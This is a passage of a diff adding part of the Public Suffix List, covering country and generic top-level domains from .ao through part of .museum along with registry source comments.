+ed.ao +gv.ao +og.ao +co.ao +pb.ao +it.ao + +// aq : http://en.wikipedia.org/wiki/.aq +aq + +// ar : http://en.wikipedia.org/wiki/.ar +*.ar +!congresodelalengua3.ar +!educ.ar +!gobiernoelectronico.ar +!mecon.ar +!nacion.ar +!nic.ar +!promocion.ar +!retina.ar +!uba.ar + +// arpa : http://en.wikipedia.org/wiki/.arpa +// Confirmed by registry 2008-06-18 +e164.arpa +in-addr.arpa +ip6.arpa +iris.arpa +uri.arpa +urn.arpa + +// as : http://en.wikipedia.org/wiki/.as +as +gov.as + +// asia: http://en.wikipedia.org/wiki/.asia +asia + +// at : http://en.wikipedia.org/wiki/.at +// Confirmed by registry 2008-06-17 +at +ac.at +co.at +gv.at +or.at + +// http://www.info.at/ +biz.at +info.at + +// priv.at : http://www.nic.priv.at/ +// Submitted by registry 2008-06-09 +priv.at + +// au : http://en.wikipedia.org/wiki/.au +*.au +// au geographical names (vic.au etc... are covered above) +act.edu.au +nsw.edu.au +nt.edu.au +qld.edu.au +sa.edu.au +tas.edu.au +vic.edu.au +wa.edu.au +act.gov.au +// Removed at request of Shae.Donelan@services.nsw.gov.au, 2010-03-04 +// nsw.gov.au +nt.gov.au +qld.gov.au +sa.gov.au +tas.gov.au +vic.gov.au +wa.gov.au +// CGDNs - http://www.aucd.org.au/ +act.au +nsw.au +nt.au +qld.au +sa.au +tas.au +vic.au +wa.au + +// aw : http://en.wikipedia.org/wiki/.aw +aw +com.aw + +// ax : http://en.wikipedia.org/wiki/.ax +ax + +// az : http://en.wikipedia.org/wiki/.az +az +com.az +net.az +int.az +gov.az +org.az +edu.az +info.az +pp.az +mil.az +name.az +pro.az +biz.az + +// ba : http://en.wikipedia.org/wiki/.ba +ba +org.ba +net.ba +edu.ba +gov.ba +mil.ba +unsa.ba +unbi.ba +co.ba +com.ba +rs.ba + +// bb : http://en.wikipedia.org/wiki/.bb +bb +biz.bb +com.bb +edu.bb +gov.bb +info.bb +net.bb +org.bb +store.bb + +// bd : http://en.wikipedia.org/wiki/.bd +*.bd + +// be : http://en.wikipedia.org/wiki/.be +// Confirmed by registry 2008-06-08 +be +ac.be + +// bf : http://en.wikipedia.org/wiki/.bf +bf +gov.bf + +// bg : http://en.wikipedia.org/wiki/.bg +// https://www.register.bg/user/static/rules/en/index.html +bg +a.bg +b.bg +c.bg +d.bg +e.bg +f.bg +g.bg +h.bg +i.bg +j.bg +k.bg +l.bg +m.bg +n.bg +o.bg +p.bg +q.bg +r.bg +s.bg +t.bg +u.bg +v.bg +w.bg +x.bg +y.bg +z.bg +0.bg +1.bg +2.bg +3.bg +4.bg +5.bg +6.bg +7.bg +8.bg +9.bg + +// bh : http://en.wikipedia.org/wiki/.bh +bh +com.bh +edu.bh +net.bh +org.bh +gov.bh + +// bi : http://en.wikipedia.org/wiki/.bi +// http://whois.nic.bi/ +bi +co.bi +com.bi +edu.bi +or.bi +org.bi + +// biz : http://en.wikipedia.org/wiki/.biz +biz + +// bj : http://en.wikipedia.org/wiki/.bj +bj +asso.bj +barreau.bj +gouv.bj + +// bm : http://www.bermudanic.bm/dnr-text.txt +bm +com.bm +edu.bm +gov.bm +net.bm +org.bm + +// bn : http://en.wikipedia.org/wiki/.bn +*.bn + +// bo : http://www.nic.bo/ +bo +com.bo +edu.bo +gov.bo +gob.bo +int.bo +org.bo +net.bo +mil.bo +tv.bo + +// br : http://registro.br/dominio/dpn.html +// Updated by registry 2011-03-01 +br +adm.br +adv.br +agr.br +am.br +arq.br +art.br +ato.br +b.br +bio.br +blog.br +bmd.br +can.br +cim.br +cng.br +cnt.br +com.br +coop.br +ecn.br +edu.br +emp.br +eng.br +esp.br +etc.br +eti.br +far.br +flog.br +fm.br +fnd.br +fot.br +fst.br +g12.br +ggf.br +gov.br +imb.br +ind.br +inf.br +jor.br +jus.br +lel.br +mat.br +med.br +mil.br +mus.br +net.br +nom.br +not.br +ntr.br +odo.br +org.br +ppg.br +pro.br +psc.br +psi.br +qsl.br +radio.br +rec.br +slg.br +srv.br +taxi.br +teo.br +tmp.br +trd.br +tur.br +tv.br +vet.br +vlog.br +wiki.br +zlg.br + +// bs : http://www.nic.bs/rules.html +bs +com.bs +net.bs +org.bs +edu.bs +gov.bs + +// bt : http://en.wikipedia.org/wiki/.bt +bt +com.bt +edu.bt +gov.bt +net.bt +org.bt + +// bv : No registrations at this time. +// Submitted by registry 2006-06-16 + +// bw : http://en.wikipedia.org/wiki/.bw +// http://www.gobin.info/domainname/bw.doc +// list of other 2nd level tlds ? +bw +co.bw +org.bw + +// by : http://en.wikipedia.org/wiki/.by +// http://tld.by/rules_2006_en.html +// list of other 2nd level tlds ? +by +gov.by +mil.by +// Official information does not indicate that com.by is a reserved +// second-level domain, but it's being used as one (see www.google.com.by and +// www.yahoo.com.by, for example), so we list it here for safety's sake. +com.by + +// http://hoster.by/ +of.by + +// bz : http://en.wikipedia.org/wiki/.bz +// http://www.belizenic.bz/ +bz +com.bz +net.bz +org.bz +edu.bz +gov.bz + +// ca : http://en.wikipedia.org/wiki/.ca +ca +// ca geographical names +ab.ca +bc.ca +mb.ca +nb.ca +nf.ca +nl.ca +ns.ca +nt.ca +nu.ca +on.ca +pe.ca +qc.ca +sk.ca +yk.ca +// gc.ca: http://en.wikipedia.org/wiki/.gc.ca +// see also: http://registry.gc.ca/en/SubdomainFAQ +gc.ca + +// cat : http://en.wikipedia.org/wiki/.cat +cat + +// cc : http://en.wikipedia.org/wiki/.cc +cc + +// cd : http://en.wikipedia.org/wiki/.cd +// see also: https://www.nic.cd/domain/insertDomain_2.jsp?act=1 +cd +gov.cd + +// cf : http://en.wikipedia.org/wiki/.cf +cf + +// cg : http://en.wikipedia.org/wiki/.cg +cg + +// ch : http://en.wikipedia.org/wiki/.ch +ch + +// ci : http://en.wikipedia.org/wiki/.ci +// http://www.nic.ci/index.php?page=charte +ci +org.ci +or.ci +com.ci +co.ci +edu.ci +ed.ci +ac.ci +net.ci +go.ci +asso.ci +aéroport.ci +int.ci +presse.ci +md.ci +gouv.ci + +// ck : http://en.wikipedia.org/wiki/.ck +*.ck + +// cl : http://en.wikipedia.org/wiki/.cl +cl +gov.cl +gob.cl + +// cm : http://en.wikipedia.org/wiki/.cm +cm +gov.cm + +// cn : http://en.wikipedia.org/wiki/.cn +// Submitted by registry 2008-06-11 +cn +ac.cn +com.cn +edu.cn +gov.cn +net.cn +org.cn +mil.cn +公司.cn +网络.cn +網絡.cn +// cn geographic names +ah.cn +bj.cn +cq.cn +fj.cn +gd.cn +gs.cn +gz.cn +gx.cn +ha.cn +hb.cn +he.cn +hi.cn +hl.cn +hn.cn +jl.cn +js.cn +jx.cn +ln.cn +nm.cn +nx.cn +qh.cn +sc.cn +sd.cn +sh.cn +sn.cn +sx.cn +tj.cn +xj.cn +xz.cn +yn.cn +zj.cn +hk.cn +mo.cn +tw.cn + +// co : http://en.wikipedia.org/wiki/.co +// Submitted by registry 2008-06-11 +co +arts.co +com.co +edu.co +firm.co +gov.co +info.co +int.co +mil.co +net.co +nom.co +org.co +rec.co +web.co + +// com : http://en.wikipedia.org/wiki/.com +com + +// CentralNic names : http://www.centralnic.com/names/domains +// Confirmed by registry 2008-06-09 +ar.com +br.com +cn.com +de.com +eu.com +gb.com +hu.com +jpn.com +kr.com +no.com +qc.com +ru.com +sa.com +se.com +uk.com +us.com +uy.com +za.com + +// Requested by Yngve Pettersen 2009-11-26 +operaunite.com + +// Requested by Eduardo Vela 2010-09-06 +appspot.com + +// coop : http://en.wikipedia.org/wiki/.coop +coop + +// cr : http://www.nic.cr/niccr_publico/showRegistroDominiosScreen.do +cr +ac.cr +co.cr +ed.cr +fi.cr +go.cr +or.cr +sa.cr + +// cu : http://en.wikipedia.org/wiki/.cu +cu +com.cu +edu.cu +org.cu +net.cu +gov.cu +inf.cu + +// cv : http://en.wikipedia.org/wiki/.cv +cv + +// cx : http://en.wikipedia.org/wiki/.cx +// list of other 2nd level tlds ? +cx +gov.cx + +// cy : http://en.wikipedia.org/wiki/.cy +*.cy + +// cz : http://en.wikipedia.org/wiki/.cz +cz + +// de : http://en.wikipedia.org/wiki/.de +// Confirmed by registry (with technical +// reservations) 2008-07-01 +de + +// dj : http://en.wikipedia.org/wiki/.dj +dj + +// dk : http://en.wikipedia.org/wiki/.dk +// Confirmed by registry 2008-06-17 +dk + +// dm : http://en.wikipedia.org/wiki/.dm +dm +com.dm +net.dm +org.dm +edu.dm +gov.dm + +// do : http://en.wikipedia.org/wiki/.do +do +art.do +com.do +edu.do +gob.do +gov.do +mil.do +net.do +org.do +sld.do +web.do + +// dz : http://en.wikipedia.org/wiki/.dz +dz +com.dz +org.dz +net.dz +gov.dz +edu.dz +asso.dz +pol.dz +art.dz + +// ec : http://www.nic.ec/reg/paso1.asp +// Submitted by registry 2008-07-04 +ec +com.ec +info.ec +net.ec +fin.ec +k12.ec +med.ec +pro.ec +org.ec +edu.ec +gov.ec +gob.ec +mil.ec + +// edu : http://en.wikipedia.org/wiki/.edu +edu + +// ee : http://www.eenet.ee/EENet/dom_reeglid.html#lisa_B +ee +edu.ee +gov.ee +riik.ee +lib.ee +med.ee +com.ee +pri.ee +aip.ee +org.ee +fie.ee + +// eg : http://en.wikipedia.org/wiki/.eg +eg +com.eg +edu.eg +eun.eg +gov.eg +mil.eg +name.eg +net.eg +org.eg +sci.eg + +// er : http://en.wikipedia.org/wiki/.er +*.er + +// es : https://www.nic.es/site_ingles/ingles/dominios/index.html +es +com.es +nom.es +org.es +gob.es +edu.es + +// et : http://en.wikipedia.org/wiki/.et +*.et + +// eu : http://en.wikipedia.org/wiki/.eu +eu + +// fi : http://en.wikipedia.org/wiki/.fi +fi +// aland.fi : http://en.wikipedia.org/wiki/.ax +// This domain is being phased out in favor of .ax. As there are still many +// domains under aland.fi, we still keep it on the list until aland.fi is +// completely removed. +// TODO: Check for updates (expected to be phased out around Q1/2009) +aland.fi +// iki.fi : Submitted by Hannu Aronsson 2009-11-05 +iki.fi + +// fj : http://en.wikipedia.org/wiki/.fj +*.fj + +// fk : http://en.wikipedia.org/wiki/.fk +*.fk + +// fm : http://en.wikipedia.org/wiki/.fm +fm + +// fo : http://en.wikipedia.org/wiki/.fo +fo + +// fr : http://www.afnic.fr/ +// domaines descriptifs : http://www.afnic.fr/obtenir/chartes/nommage-fr/annexe-descriptifs +fr +com.fr +asso.fr +nom.fr +prd.fr +presse.fr +tm.fr +// domaines sectoriels : http://www.afnic.fr/obtenir/chartes/nommage-fr/annexe-sectoriels +aeroport.fr +assedic.fr +avocat.fr +avoues.fr +cci.fr +chambagri.fr +chirurgiens-dentistes.fr +experts-comptables.fr +geometre-expert.fr +gouv.fr +greta.fr +huissier-justice.fr +medecin.fr +notaires.fr +pharmacien.fr +port.fr +veterinaire.fr + +// ga : http://en.wikipedia.org/wiki/.ga +ga + +// gb : This registry is effectively dormant +// Submitted by registry 2008-06-12 + +// gd : http://en.wikipedia.org/wiki/.gd +gd + +// ge : http://www.nic.net.ge/policy_en.pdf +ge +com.ge +edu.ge +gov.ge +org.ge +mil.ge +net.ge +pvt.ge + +// gf : http://en.wikipedia.org/wiki/.gf +gf + +// gg : http://www.channelisles.net/applic/avextn.shtml +gg +co.gg +org.gg +net.gg +sch.gg +gov.gg + +// gh : http://en.wikipedia.org/wiki/.gh +// see also: http://www.nic.gh/reg_now.php +// Although domains directly at second level are not possible at the moment, +// they have been possible for some time and may come back. +gh +com.gh +edu.gh +gov.gh +org.gh +mil.gh + +// gi : http://www.nic.gi/rules.html +gi +com.gi +ltd.gi +gov.gi +mod.gi +edu.gi +org.gi + +// gl : http://en.wikipedia.org/wiki/.gl +// http://nic.gl +gl + +// gm : http://www.nic.gm/htmlpages%5Cgm-policy.htm +gm + +// gn : http://psg.com/dns/gn/gn.txt +// Submitted by registry 2008-06-17 +ac.gn +com.gn +edu.gn +gov.gn +org.gn +net.gn + +// gov : http://en.wikipedia.org/wiki/.gov +gov + +// gp : http://www.nic.gp/index.php?lang=en +gp +com.gp +net.gp +mobi.gp +edu.gp +org.gp +asso.gp + +// gq : http://en.wikipedia.org/wiki/.gq +gq + +// gr : https://grweb.ics.forth.gr/english/1617-B-2005.html +// Submitted by registry 2008-06-09 +gr +com.gr +edu.gr +net.gr +org.gr +gov.gr + +// gs : http://en.wikipedia.org/wiki/.gs +gs + +// gt : http://www.gt/politicas.html +*.gt + +// gu : http://gadao.gov.gu/registration.txt +*.gu + +// gw : http://en.wikipedia.org/wiki/.gw +gw + +// gy : http://en.wikipedia.org/wiki/.gy +// http://registry.gy/ +gy +co.gy +com.gy +net.gy + +// hk : https://www.hkdnr.hk +// Submitted by registry 2008-06-11 +hk +com.hk +edu.hk +gov.hk +idv.hk +net.hk +org.hk +公司.hk +教育.hk +敎育.hk +政府.hk +個人.hk +个人.hk +箇人.hk +網络.hk +网络.hk +组織.hk +網絡.hk +网絡.hk +组织.hk +組織.hk +組织.hk + +// hm : http://en.wikipedia.org/wiki/.hm +hm + +// hn : http://www.nic.hn/politicas/ps02,,05.html +hn +com.hn +edu.hn +org.hn +net.hn +mil.hn +gob.hn + +// hr : http://www.dns.hr/documents/pdf/HRTLD-regulations.pdf +hr +iz.hr +from.hr +name.hr +com.hr + +// ht : http://www.nic.ht/info/charte.cfm +ht +com.ht +shop.ht +firm.ht +info.ht +adult.ht +net.ht +pro.ht +org.ht +med.ht +art.ht +coop.ht +pol.ht +asso.ht +edu.ht +rel.ht +gouv.ht +perso.ht + +// hu : http://www.domain.hu/domain/English/sld.html +// Confirmed by registry 2008-06-12 +hu +co.hu +info.hu +org.hu +priv.hu +sport.hu +tm.hu +2000.hu +agrar.hu +bolt.hu +casino.hu +city.hu +erotica.hu +erotika.hu +film.hu +forum.hu +games.hu +hotel.hu +ingatlan.hu +jogasz.hu +konyvelo.hu +lakas.hu +media.hu +news.hu +reklam.hu +sex.hu +shop.hu +suli.hu +szex.hu +tozsde.hu +utazas.hu +video.hu + +// id : http://en.wikipedia.org/wiki/.id +// see also: https://register.pandi.or.id/ +id +ac.id +co.id +go.id +mil.id +net.id +or.id +sch.id +web.id + +// ie : http://en.wikipedia.org/wiki/.ie +ie +gov.ie + +// il : http://en.wikipedia.org/wiki/.il +*.il + +// im : https://www.nic.im/pdfs/imfaqs.pdf +im +co.im +ltd.co.im +plc.co.im +net.im +gov.im +org.im +nic.im +ac.im + +// in : http://en.wikipedia.org/wiki/.in +// see also: http://www.inregistry.in/policies/ +// Please note, that nic.in is not an offical eTLD, but used by most +// government institutions. +in +co.in +firm.in +net.in +org.in +gen.in +ind.in +nic.in +ac.in +edu.in +res.in +gov.in +mil.in + +// info : http://en.wikipedia.org/wiki/.info +info + +// int : http://en.wikipedia.org/wiki/.int +// Confirmed by registry 2008-06-18 +int +eu.int + +// io : http://www.nic.io/rules.html +// list of other 2nd level tlds ? +io +com.io + +// iq : http://www.cmc.iq/english/iq/iqregister1.htm +iq +gov.iq +edu.iq +mil.iq +com.iq +org.iq +net.iq + +// ir : http://www.nic.ir/Terms_and_Conditions_ir,_Appendix_1_Domain_Rules +// Also see http://www.nic.ir/Internationalized_Domain_Names +// Two .ir entries added at request of , 2010-04-16 +ir +ac.ir +co.ir +gov.ir +id.ir +net.ir +org.ir +sch.ir +// xn--mgba3a4f16a.ir (.ir, Persian YEH) +ایران.ir +// xn--mgba3a4fra.ir (.ir, Arabic YEH) +ايران.ir + +// is : http://www.isnic.is/domain/rules.php +// Confirmed by registry 2008-12-06 +is +net.is +com.is +edu.is +gov.is +org.is +int.is + +// it : http://en.wikipedia.org/wiki/.it +it +gov.it +edu.it +// list of reserved geo-names : +// http://www.nic.it/documenti/regolamenti-e-linee-guida/regolamento-assegnazione-versione-6.0.pdf +// (There is also a list of reserved geo-names corresponding to Italian +// municipalities : http://www.nic.it/documenti/appendice-c.pdf , but it is +// not included here.) +agrigento.it +ag.it +alessandria.it +al.it +ancona.it +an.it +aosta.it +aoste.it +ao.it +arezzo.it +ar.it +ascoli-piceno.it +ascolipiceno.it +ap.it +asti.it +at.it +avellino.it +av.it +bari.it +ba.it +andria-barletta-trani.it +andriabarlettatrani.it +trani-barletta-andria.it +tranibarlettaandria.it +barletta-trani-andria.it +barlettatraniandria.it +andria-trani-barletta.it +andriatranibarletta.it +trani-andria-barletta.it +traniandriabarletta.it +bt.it +belluno.it +bl.it +benevento.it +bn.it +bergamo.it +bg.it +biella.it +bi.it +bologna.it +bo.it +bolzano.it +bozen.it +balsan.it +alto-adige.it +altoadige.it +suedtirol.it +bz.it +brescia.it +bs.it +brindisi.it +br.it +cagliari.it +ca.it +caltanissetta.it +cl.it +campobasso.it +cb.it +carboniaiglesias.it +carbonia-iglesias.it +iglesias-carbonia.it +iglesiascarbonia.it +ci.it +caserta.it +ce.it +catania.it +ct.it +catanzaro.it +cz.it +chieti.it +ch.it +como.it +co.it +cosenza.it +cs.it +cremona.it +cr.it +crotone.it +kr.it +cuneo.it +cn.it +dell-ogliastra.it +dellogliastra.it +ogliastra.it +og.it +enna.it +en.it +ferrara.it +fe.it +fermo.it +fm.it +firenze.it +florence.it +fi.it +foggia.it +fg.it +forli-cesena.it +forlicesena.it +cesena-forli.it +cesenaforli.it +fc.it +frosinone.it +fr.it +genova.it +genoa.it +ge.it +gorizia.it +go.it +grosseto.it +gr.it +imperia.it +im.it +isernia.it +is.it +laquila.it +aquila.it +aq.it +la-spezia.it +laspezia.it +sp.it +latina.it +lt.it +lecce.it +le.it +lecco.it +lc.it +livorno.it +li.it +lodi.it +lo.it +lucca.it +lu.it +macerata.it +mc.it +mantova.it +mn.it +massa-carrara.it +massacarrara.it +carrara-massa.it +carraramassa.it +ms.it +matera.it +mt.it +medio-campidano.it +mediocampidano.it +campidano-medio.it +campidanomedio.it +vs.it +messina.it +me.it +milano.it +milan.it +mi.it +modena.it +mo.it +monza.it +monza-brianza.it +monzabrianza.it +monzaebrianza.it +monzaedellabrianza.it +monza-e-della-brianza.it +mb.it +napoli.it +naples.it +na.it +novara.it +no.it +nuoro.it +nu.it +oristano.it +or.it +padova.it +padua.it +pd.it +palermo.it +pa.it +parma.it +pr.it +pavia.it +pv.it +perugia.it +pg.it +pescara.it +pe.it +pesaro-urbino.it +pesarourbino.it +urbino-pesaro.it +urbinopesaro.it +pu.it +piacenza.it +pc.it +pisa.it +pi.it +pistoia.it +pt.it +pordenone.it +pn.it +potenza.it +pz.it +prato.it +po.it +ragusa.it +rg.it +ravenna.it +ra.it +reggio-calabria.it +reggiocalabria.it +rc.it +reggio-emilia.it +reggioemilia.it +re.it +rieti.it +ri.it +rimini.it +rn.it +roma.it +rome.it +rm.it +rovigo.it +ro.it +salerno.it +sa.it +sassari.it +ss.it +savona.it +sv.it +siena.it +si.it +siracusa.it +sr.it +sondrio.it +so.it +taranto.it +ta.it +tempio-olbia.it +tempioolbia.it +olbia-tempio.it +olbiatempio.it +ot.it +teramo.it +te.it +terni.it +tr.it +torino.it +turin.it +to.it +trapani.it +tp.it +trento.it +trentino.it +tn.it +treviso.it +tv.it +trieste.it +ts.it +udine.it +ud.it +varese.it +va.it +venezia.it +venice.it +ve.it +verbania.it +vb.it +vercelli.it +vc.it +verona.it +vr.it +vibo-valentia.it +vibovalentia.it +vv.it +vicenza.it +vi.it +viterbo.it +vt.it + +// je : http://www.channelisles.net/applic/avextn.shtml +je +co.je +org.je +net.je +sch.je +gov.je + +// jm : http://www.com.jm/register.html +*.jm + +// jo : http://www.dns.jo/Registration_policy.aspx +jo +com.jo +org.jo +net.jo +edu.jo +sch.jo +gov.jo +mil.jo +name.jo + +// jobs : http://en.wikipedia.org/wiki/.jobs +jobs + +// jp : http://en.wikipedia.org/wiki/.jp +// http://jprs.co.jp/en/jpdomain.html +// Submitted by registry 2008-06-11 +// Updated by registry 2008-12-04 +jp +// jp organizational type names +ac.jp +ad.jp +co.jp +ed.jp +go.jp +gr.jp +lg.jp +ne.jp +or.jp +// jp geographic type names +// http://jprs.jp/doc/rule/saisoku-1.html +*.aichi.jp +*.akita.jp +*.aomori.jp +*.chiba.jp +*.ehime.jp +*.fukui.jp +*.fukuoka.jp +*.fukushima.jp +*.gifu.jp +*.gunma.jp +*.hiroshima.jp +*.hokkaido.jp +*.hyogo.jp +*.ibaraki.jp +*.ishikawa.jp +*.iwate.jp +*.kagawa.jp +*.kagoshima.jp +*.kanagawa.jp +*.kawasaki.jp +*.kitakyushu.jp +*.kobe.jp +*.kochi.jp +*.kumamoto.jp +*.kyoto.jp +*.mie.jp +*.miyagi.jp +*.miyazaki.jp +*.nagano.jp +*.nagasaki.jp +*.nagoya.jp +*.nara.jp +*.niigata.jp +*.oita.jp +*.okayama.jp +*.okinawa.jp +*.osaka.jp +*.saga.jp +*.saitama.jp +*.sapporo.jp +*.sendai.jp +*.shiga.jp +*.shimane.jp +*.shizuoka.jp +*.tochigi.jp +*.tokushima.jp +*.tokyo.jp +*.tottori.jp +*.toyama.jp +*.wakayama.jp +*.yamagata.jp +*.yamaguchi.jp +*.yamanashi.jp +*.yokohama.jp +!metro.tokyo.jp +!pref.aichi.jp +!pref.akita.jp +!pref.aomori.jp +!pref.chiba.jp +!pref.ehime.jp +!pref.fukui.jp +!pref.fukuoka.jp +!pref.fukushima.jp +!pref.gifu.jp +!pref.gunma.jp +!pref.hiroshima.jp +!pref.hokkaido.jp +!pref.hyogo.jp +!pref.ibaraki.jp +!pref.ishikawa.jp +!pref.iwate.jp +!pref.kagawa.jp +!pref.kagoshima.jp +!pref.kanagawa.jp +!pref.kochi.jp +!pref.kumamoto.jp +!pref.kyoto.jp +!pref.mie.jp +!pref.miyagi.jp +!pref.miyazaki.jp +!pref.nagano.jp +!pref.nagasaki.jp +!pref.nara.jp +!pref.niigata.jp +!pref.oita.jp +!pref.okayama.jp +!pref.okinawa.jp +!pref.osaka.jp +!pref.saga.jp +!pref.saitama.jp +!pref.shiga.jp +!pref.shimane.jp +!pref.shizuoka.jp +!pref.tochigi.jp +!pref.tokushima.jp +!pref.tottori.jp +!pref.toyama.jp +!pref.wakayama.jp +!pref.yamagata.jp +!pref.yamaguchi.jp +!pref.yamanashi.jp +!city.chiba.jp +!city.fukuoka.jp +!city.hiroshima.jp +!city.kawasaki.jp +!city.kitakyushu.jp +!city.kobe.jp +!city.kyoto.jp +!city.nagoya.jp +!city.niigata.jp +!city.okayama.jp +!city.osaka.jp +!city.saitama.jp +!city.sapporo.jp +!city.sendai.jp +!city.shizuoka.jp +!city.yokohama.jp + +// ke : http://www.kenic.or.ke/index.php?option=com_content&task=view&id=117&Itemid=145 +*.ke + +// kg : http://www.domain.kg/dmn_n.html +kg +org.kg +net.kg +com.kg +edu.kg +gov.kg +mil.kg + +// kh : http://www.mptc.gov.kh/dns_registration.htm +*.kh + +// ki : http://www.ki/dns/index.html +ki +edu.ki +biz.ki +net.ki +org.ki +gov.ki +info.ki +com.ki + +// km : http://en.wikipedia.org/wiki/.km +// http://www.domaine.km/documents/charte.doc +km +org.km +nom.km +gov.km +prd.km +tm.km +edu.km +mil.km +ass.km +com.km +// These are only mentioned as proposed suggestions at domaine.km, but +// http://en.wikipedia.org/wiki/.km says they're available for registration: +coop.km +asso.km +presse.km +medecin.km +notaires.km +pharmaciens.km +veterinaire.km +gouv.km + +// kn : http://en.wikipedia.org/wiki/.kn +// http://www.dot.kn/domainRules.html +kn +net.kn +org.kn +edu.kn +gov.kn + +// kp : http://www.kcce.kp/en_index.php +com.kp +edu.kp +gov.kp +org.kp +rep.kp +tra.kp + +// kr : http://en.wikipedia.org/wiki/.kr +// see also: http://domain.nida.or.kr/eng/registration.jsp +kr +ac.kr +co.kr +es.kr +go.kr +hs.kr +kg.kr +mil.kr +ms.kr +ne.kr +or.kr +pe.kr +re.kr +sc.kr +// kr geographical names +busan.kr +chungbuk.kr +chungnam.kr +daegu.kr +daejeon.kr +gangwon.kr +gwangju.kr +gyeongbuk.kr +gyeonggi.kr +gyeongnam.kr +incheon.kr +jeju.kr +jeonbuk.kr +jeonnam.kr +seoul.kr +ulsan.kr + +// kw : http://en.wikipedia.org/wiki/.kw +*.kw + +// ky : http://www.icta.ky/da_ky_reg_dom.php +// Confirmed by registry 2008-06-17 +ky +edu.ky +gov.ky +com.ky +org.ky +net.ky + +// kz : http://en.wikipedia.org/wiki/.kz +// see also: http://www.nic.kz/rules/index.jsp +kz +org.kz +edu.kz +net.kz +gov.kz +mil.kz +com.kz + +// la : http://en.wikipedia.org/wiki/.la +// Submitted by registry 2008-06-10 +la +int.la +net.la +info.la +edu.la +gov.la +per.la +com.la +org.la +// see http://www.c.la/ +c.la + +// lb : http://en.wikipedia.org/wiki/.lb +// Submitted by registry 2008-06-17 +com.lb +edu.lb +gov.lb +net.lb +org.lb + +// lc : http://en.wikipedia.org/wiki/.lc +// see also: http://www.nic.lc/rules.htm +lc +com.lc +net.lc +co.lc +org.lc +edu.lc +gov.lc + +// li : http://en.wikipedia.org/wiki/.li +li + +// lk : http://www.nic.lk/seclevpr.html +lk +gov.lk +sch.lk +net.lk +int.lk +com.lk +org.lk +edu.lk +ngo.lk +soc.lk +web.lk +ltd.lk +assn.lk +grp.lk +hotel.lk + +// local : http://en.wikipedia.org/wiki/.local +local + +// lr : http://psg.com/dns/lr/lr.txt +// Submitted by registry 2008-06-17 +com.lr +edu.lr +gov.lr +org.lr +net.lr + +// ls : http://en.wikipedia.org/wiki/.ls +ls +co.ls +org.ls + +// lt : http://en.wikipedia.org/wiki/.lt +lt +// gov.lt : http://www.gov.lt/index_en.php +gov.lt + +// lu : http://www.dns.lu/en/ +lu + +// lv : http://www.nic.lv/DNS/En/generic.php +lv +com.lv +edu.lv +gov.lv +org.lv +mil.lv +id.lv +net.lv +asn.lv +conf.lv + +// ly : http://www.nic.ly/regulations.php +ly +com.ly +net.ly +gov.ly +plc.ly +edu.ly +sch.ly +med.ly +org.ly +id.ly + +// ma : http://en.wikipedia.org/wiki/.ma +// http://www.anrt.ma/fr/admin/download/upload/file_fr782.pdf +ma +co.ma +net.ma +gov.ma +org.ma +ac.ma +press.ma + +// mc : http://www.nic.mc/ +mc +tm.mc +asso.mc + +// md : http://en.wikipedia.org/wiki/.md +md + +// me : http://en.wikipedia.org/wiki/.me +me +co.me +net.me +org.me +edu.me +ac.me +gov.me +its.me +priv.me + +// mg : http://www.nic.mg/tarif.htm +mg +org.mg +nom.mg +gov.mg +prd.mg +tm.mg +edu.mg +mil.mg +com.mg + +// mh : http://en.wikipedia.org/wiki/.mh +mh + +// mil : http://en.wikipedia.org/wiki/.mil +mil + +// mk : http://en.wikipedia.org/wiki/.mk +// see also: http://dns.marnet.net.mk/postapka.php +mk +com.mk +org.mk +net.mk +edu.mk +gov.mk +inf.mk +name.mk + +// ml : http://www.gobin.info/domainname/ml-template.doc +// see also: http://en.wikipedia.org/wiki/.ml +ml +com.ml +edu.ml +gouv.ml +gov.ml +net.ml +org.ml +presse.ml + +// mm : http://en.wikipedia.org/wiki/.mm +*.mm + +// mn : http://en.wikipedia.org/wiki/.mn +mn +gov.mn +edu.mn +org.mn + +// mo : http://www.monic.net.mo/ +mo +com.mo +net.mo +org.mo +edu.mo +gov.mo + +// mobi : http://en.wikipedia.org/wiki/.mobi +mobi + +// mp : http://www.dot.mp/ +// Confirmed by registry 2008-06-17 +mp + +// mq : http://en.wikipedia.org/wiki/.mq +mq + +// mr : http://en.wikipedia.org/wiki/.mr +mr +gov.mr + +// ms : http://en.wikipedia.org/wiki/.ms +ms + +// mt : https://www.nic.org.mt/dotmt/ +*.mt + +// mu : http://en.wikipedia.org/wiki/.mu +mu +com.mu +net.mu +org.mu +gov.mu +ac.mu +co.mu +or.mu + +// museum : http://about.museum/naming/ +// http://index.museum/ +museum +academy.museum +agriculture.museum +air.museum +airguard.museum +alabama.museum +alaska.museum +amber.museum +ambulance.museum +american.museum +americana.museum +americanantiques.museum +americanart.museum +amsterdam.museum +and.museum +annefrank.museum +anthro.museum +anthropology.museum +antiques.museum +aquarium.museum +arboretum.museum +archaeological.museum +archaeology.museum +architecture.museum +art.museum +artanddesign.museum +artcenter.museum +artdeco.museum +arteducation.museum +artgallery.museum +arts.museum +artsandcrafts.museum +asmatart.museum +assassination.museum +assisi.museum +association.museum +astronomy.museum +atlanta.museum +austin.museum +australia.museum +automotive.museum +aviation.museum +axis.museum +badajoz.museum +baghdad.museum +bahn.museum +bale.museum +baltimore.museum +barcelona.museum +baseball.museum +basel.museum +baths.museum +bauern.museum +beauxarts.museum +beeldengeluid.museum +bellevue.museum +bergbau.museum +berkeley.museum +berlin.museum +bern.museum +bible.museum +bilbao.museum +bill.museum +birdart.museum +birthplace.museum +bonn.museum +boston.museum +botanical.museum +botanicalgarden.museum +botanicgarden.museum +botany.museum +brandywinevalley.museum +brasil.museum +bristol.museum +british.museum +britishcolumbia.museum +broadcast.museum +brunel.museum +brussel.museum +brussels.museum +bruxelles.museum +building.museum +burghof.museum +bus.museum +bushey.museum +cadaques.museum +california.museum +cambridge.museum +can.museum +canada.museum +capebreton.museum +carrier.museum +cartoonart.museum +casadelamoneda.museum +castle.museum +castres.museum +celtic.museum +center.museum +chattanooga.museum +cheltenham.museum +chesapeakebay.museum +chicago.museum +children.museum +childrens.museum +childrensgarden.museum +chiropractic.museum +chocolate.museum +christiansburg.museum +cincinnati.museum +cinema.museum +circus.museum +civilisation.museum +civilization.museum +civilwar.museum +clinton.museum +clock.museum +coal.museum +coastaldefence.museum +cody.museum +coldwar.museum +collection.museum +colonialwilliamsburg.museum +coloradoplateau.museum +columbia.museum +columbus.museum +communication.museum +communications.museum +community.museum +computer.museum +computerhistory.museum +comunicações.museum +contemporary.museum +contemporaryart.museum +convent.museum +copenhagen.museum +corporation.museum 